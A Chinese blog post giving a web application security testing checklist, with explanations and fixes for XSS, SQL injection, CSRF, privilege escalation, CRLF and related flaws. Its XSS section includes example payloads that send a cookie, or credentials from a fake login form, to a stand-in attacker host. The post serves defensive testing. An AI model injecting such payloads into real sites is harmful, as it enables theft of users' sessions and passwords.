搜索
查看
编辑修改
首页
UNITY
NODEJS
PYTHON
AI
GIT
PHP
GO
CEF3
JAVA
HTML
CSS
搜索
小舞很执着
这个屌丝很懒,什么也没留下!
关注作者
热门标签
jquery
HTML
CSS
PHP
ASP
PYTHON
GO
AI
C
C++
C#
PHOTOSHOP
UNITY
iOS
android
vue
xml
爬虫
SEO
LINUX
WINDOWS
JAVA
MFC
CEF3
CAD
NODEJS
GIT
Pyppeteer
article
热门文章
1
夏季河湖防溺水新举措:青犀AI视频智能监控系统保障水域安全_道路监控视频画面 mp4下载
2
LeetCode 238. 除自身以外数组的乘积_leetcode 除自身以外数组的乘积
3
dotnet项目服务器转移,迁移到.NET Core上
4
基于单片机zigbee无线智能家居光照温湿度监测系统_智能家居温湿度监测
5
如何更改Git用户名 - 本地与全局设置指南_git config user.name
6
十分钟学会微调大语言模型_text generation web ui用于翻译日文的prompt
7
SpringBoot:Boot Admin Server_spring-boot-admin-starter-server
8
大数据有哪些特性,数据集合分为哪几类数据?_分类数据集 类别特征
9
二叉树的层序遍历 + 通过层序遍历实现二叉树的操作_按照层数遍历二叉树
10
Swagger - SpringBoot整合Swagger最佳实践_swagger-bootstrap-ui请确保swagger资源接口正确
当前位置:
article
> 正文
WEB安全测试要点总结_webinspect 接口安全测试
作者:小舞很执着 | 2024-07-22 20:55:36
赞
踩
webinspect 接口安全测试
一、大类检查点:
大类
细项
上传功能
绕过文件上传检查功能
上传文件大小和次数限制
注册功能
注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
横向越权测试
请测试所有接口越权情况
纵向越权测试
请测试所有接口越权情况
XSS测试
反射型XSS
存储型XSS
DOM型XSS
SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
CSRF测试
CSRF测试
敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
目录遍历
CRLF测试
CRLF测试
任意文件读取
任意文件读取
URL重定向测试
URL重定向测试
点击劫持ClickJacking
页面点击劫持
XXE
XXE测试
SSRF
SSRF
CORS问题
CORS问题
二、测试项详细说明
上传功能
绕过文件上传检查功能
上传文件大小和次数限制
注册功能
注册请求是否安全传输
注册时密码复杂度是否后台校验
激活链接测试
重复注册
批量注册问题
登录功能
登录请求是否安全传输
会话固定:Session fixation attack(会话固定攻击)是利用服务器的session不变机制,借他人之手获得认证
和授权,然后冒充他人。
关键cookie是否HTTPONLY:如果Cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取Coo
kie。
但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标
识需要添加这个属性。
登录请求错误次数限制
“记住我”功能:勾选“记住我”后,Cookie中记录了用户名和密码信息。。。
本地存储敏感信息
验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸:如果这个接口没有限制策略,就会被人恶意利用
忘记密码功能
通过手机号找回:不过由于程序设计不合理,导致可以绕过短信验证码,从而修改别人的密码。(使用
burpsuite抓包,修改响应值true)
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
横向越权测试
不同用户之间session共享,可以非法操作对方的数据。
纵向越权测试
很多应用简单的通过前端判断,或者低权限角色看不到对应的菜单,但并未在后台去做当前登录用户是
否有权限。
XSS测试
跨站脚本攻击(Cross Site Scripting):恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之
时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
反射型XSS:
利用请求参数param2,进行XSS注入,设置js等可执行或可跳转语句。param2=<script>document.writ
e('<imgsrc="http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'"/>')</script>。
这个网站的已登录用户去点击,cookie会被发送到 evil.org 上去。
处理意见:对特殊字符转义输出,特别是'"<>这几个。
存储型XSS:
在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容:
<script>
document.body.innerHTML="<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
当其他用户浏览该帖子时,就会弹出登录框,如图(用户名+密码登陆界面)。
这是页面中注入的XSS生成的,如果您输入了账号密码,那就被发送给黑客了。
处理意见:对特殊字符转义输出,特别是如下几个'"<>
DOM型XSS
基于DOM型XSS样例,相比较与Reflected、Stored XSS属于server side execution issues而言,DOM base
d XSS 是client(browser)side execution issue。
Step1:如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#
\u003ciframeοnlοad=alert('xss')\u003e
Step2:动态生成:<divid="m"><iframeοnlοad="alert('xss')"></iframe></div>
这个比较难测试,一般需要阅读页面中的JS代码,去分析。没有固定的测试步骤,还是需要大家自己多
学习。不作为强制项,WebInspect扫过即可。
处理意见:对特殊字符转义输出,特别是'"<>。
SQL注入测试
SQL注入攻击的基本原理是通过构建特殊的输入参数,迫使后台数据库执行额外的SQL语句,从而达到获
取数据库数据的目的。
这些输入参数往往包含恶意的SQL注入语句,后台处理程序没有对这些参数进行过滤,且所使用的数据库
查询手段为拼接方式,进而导致敏感数据外泄。
在动态构造SQL语句的过程中,除了特殊字符处理不当引起的SQL注入之外,错误处理不当也会为Web站
点带来很多安全隐患。
最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的
重要线索。
在SQL注入的过程中,如果Web服务器关闭了错误回显,那么是不是就安全了呢?答案显然是否定的,攻
击者仍然可以通过 "盲注"技巧测试SQL命令是否注入成功。
所谓"盲注"就是在服务器没有错误回显时完成的注入方式,攻击者必须找到一个方法来验证注入的SQL语
句是否执行。
"盲注"主要分为两种类型:基于时间的盲注和布尔盲注。
测试方法(黑盒):sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的S
QL注入漏洞,
测试方法(白盒):如果项目的数据库持久层框架是mybatis,并且他的sqlmap中编写方式都是使用#{xx
x}方式,而非使用${xxx}方式,就不存在SQl注入问题。
注:sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题。#使用的是Prepare
dStatement(类似于预编译),将转义交给了数据库,不会出现注入问题;前者容易出现SQL注入之类的
安全问题,所以mybatis推荐使用#。
写接口限制测试
比如:找回密码的邮件。多次调用,造成邮件轰炸。
新增的接口,如写文章、上传文件等。这些接口如果没有任何限制,那么恶意用户使用程序无限循环的
调用接口,就会写入大量的数据。通过并发、循环方式上传大量文件,填满磁盘,消耗服务器资源。
修复建议:对写入量大的接口(如上传)做必要的限制。
CSRF测试
CSRF(Cross-site requestforgery),中文名称:跨站请求伪造。用户C在为退出A的情况下,浏览B,B
使用C的session非法访问A。
检查:
Ø 是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 (通过)
Ø 是否验证referer。有则(通过)
Ø 请求的参数均可推测,无CSRF防御机制。(不通过)
测试中,需要对所有写接口检查,可以采用如下方式,记录接口,标记是否已检查。
修复建议:
Ø 方法1:验证码
验证码制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制
CSRF攻击。
但是这种方式易用性方面似乎不是太好,并且对于简单的图形验证码也有很多绕过机制。防御CSRF的
一种辅助手段
Ø 方法2:Referer 验证
当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。
通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF,但是Referer可能会包含一些
敏感信息甚至在某些情况下能够被伪造。
因此我们无法依赖于Referer来作为防御CSRF的主要手段,但是可以通过Referer来监控CSRF攻击的发生。
Ø 方法3:Token验证
在请求原参数不变的条件下,新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。
后端在对数据处理前会首先对Token参数进行验证,只有用户请求中的Token与用户Session(或Cookie
)中的Token一致时,才会认为请求是合法的。
由于Token的存在,攻击者就无法构造一个完整的请求实施CSRF攻击,从而保证了网站或系统的安全。
敏感信息泄露
SVN信息泄露:有数据库账号和密码等信息;
页面泄露敏感信息:有些WEB应用,在返回给客户端的响应中,包含了敏感信息,例如密码。
目录遍历
在web应用中,如下图所示的显示目录文件列表,会带来一定的安全隐患(服务器文件列表)。
CRLF
CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。
修复建议:过滤CR和LF字符。或者转义。
声明:
本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:
https://www.wpsshop.cn/w/小舞很执着/article/detail/866736
推荐阅读
article
HarmonyOS
/
OpenHarmony
应用开发-HDC
环境变量
设置_
hdc
环境变量
配置
...
hdc
(
HarmonyOS
Device Connector)是
HarmonyOS
为开发人员提供的用于调试的命令行工...
赞
踩
article
docker
构建
镜像
方式
--
2
--
docker
-
maven
-
plugin
插件
,
远程连接docke...
前提
,
先做好此工作个人总结:此方式不用直接编写Dockfile文件
,
直接在pom.xml中编写构建
镜像
的逻辑
,
相当于是...
赞
踩
article
python2.7
安装
opendr
...
pyhon安装
opendr
sudo apt install libosmesa6-devsudo apt-get ins...
赞
踩
article
基于
SpringBoot
实现
的
AI智能大数据医疗诊断平台
_
基于
springboot
的
医疗
服务平台
_
医...
用户修改密码切换主题接口文档注意:集成
的
是swaggerAPI文档,由于代码中未加swagger相关注解,未全部展示,小...
赞
踩
article
Windows
连接
SFTP
服务_
windows
终端
sftp
...
普通FTP可以使用资源管理器访问,但是
SFTP
目前没有找到怎么在资源管理器中访问。最近有个新需求需要通过
SFTP
方式连接...
赞
踩
article
长度
扩展
攻击
...
长度
扩展
攻击
(length extension attack),是指针对某些允许包含额外信息的加密散列函数的
攻击
手段。对...
赞
踩
article
Memcached
故障
排查
与
恢复
策略指南!...
Memcached
是一个高性能的分布式内存缓存系统,常用于提高动态Web应用的响应速度。它通过缓存数据和对象来减少读取外...
赞
踩
article
【
深度
学习
】最强
算法
之
:
深度
神经网络
(
DNN
)_
dnn
深度
神经网络
...
深度
学习
必会之
:
深度
神经网络
DNN
_
dnn
深度
神经网络
dnn
深度
神经网络
...
赞
踩
article
必备 |
AI
& DS七大
Python
库
_
aaccoo
...
本文作者Favio Vázquez从2018年开始发布《数据科学和人工智能每周文摘:
Python
& R》系列文...
赞
踩
article
通过 FILE
API
使用
JAVASCRIPT 读取
文件
_
file
api
实现javascri...
简介HTML5 终于为我们提供了一种通过 File
API
规范与本地
文件
交互的标准方式。为了举例说明其功能,可
使用
F...
赞
踩
article
猫头虎 最新
Linux
系统
查看
服务器
温度
的方法大全_
linux
查看
温度
...
方法工具命令示例适用范围lm-sensorssensorssensors通用hwmon 接口/sys/class通用th...
赞
踩
article
全面讲解
基于
大型
语言
模型
的
智能
Agent
:发展历程、架构与
基于
Langchain的实现
demo
_la...
在大型
语言
模型
(LLM)的时代,
基于
大型
语言
模型
的
智能
Agen在过去一年中取得了显著进展。_
langchain
demo
...
赞
踩
article
『
运维
备忘录
』之
Lsof
命令
详解_
lsof
指定
ip...
本文介绍了Linux下的
Lsof
命令
,作为强大的系统监控工具,它用于列出被进程打开的文件信息。文章详细讲解了
Lsof
的基...
赞
踩
article
顺序
表
(原理)_
顺序
表
的
基本原理
...
这里肯定会有人脱口而出,三个。这个是要分情况
的
,对于当前这里面如果放
的
是基本数据类型,直接将usedSize置为i0,如...
赞
踩
article
java
中的
排序
与
二维
数组
_
java
二维
数组
排序
...
假定第一个元素最小,然后与后面的元素依此比较,如果后面的元素的值比第一个元素还小,那么让他们的值进行交换,经过一轮比较之...
赞
踩
article
mac
os安装
iterm2
_
mac
安装
iterm2
...
微信公众号:乌鸦安全1. 安装
iterm2
https://zhuanlan.zhihu.com/p/37195261ht...
赞
踩
article
php
对称
加密
-lzn...
php
对称
加密
1.
加密
方法openssl_encrypt($data, $method, $password, $op...
赞
踩
article
CrackMapExec
域
渗透
工具
使用
(超级详细)...
前言最近接触到了这款
CrackMapExec
域
渗透
工具
,目前
使用
感觉是挺不错了,在阅读了该
工具
在wiki的
使用
说明之后...
赞
踩
article
非
功能性
需求
都
包括
哪些方面
?...
(1) 性能
需求
:用户在软件响应速度、结果精度、运行时资源消耗量等方面的要求。 (2) 可靠性
需求
:用户在软件失效的频率...
赞
踩
article
Springboot
集成
com
.
spotify
docker
-
maven
-
plugin
_
com
.sp...
Springboot
集成
com
.
spotify
docker
-
maven
-
plugin
Springboot
集成
com
.s...
赞
踩
相关标签
harmonyos
华为
docker
python2.7
安装
opendr
spring boot
大数据
java
sftp
ftp
windows
memcached
数据库
缓存
深度学习
算法
dnn
file
javascript
api
function
xmlhttprequest
button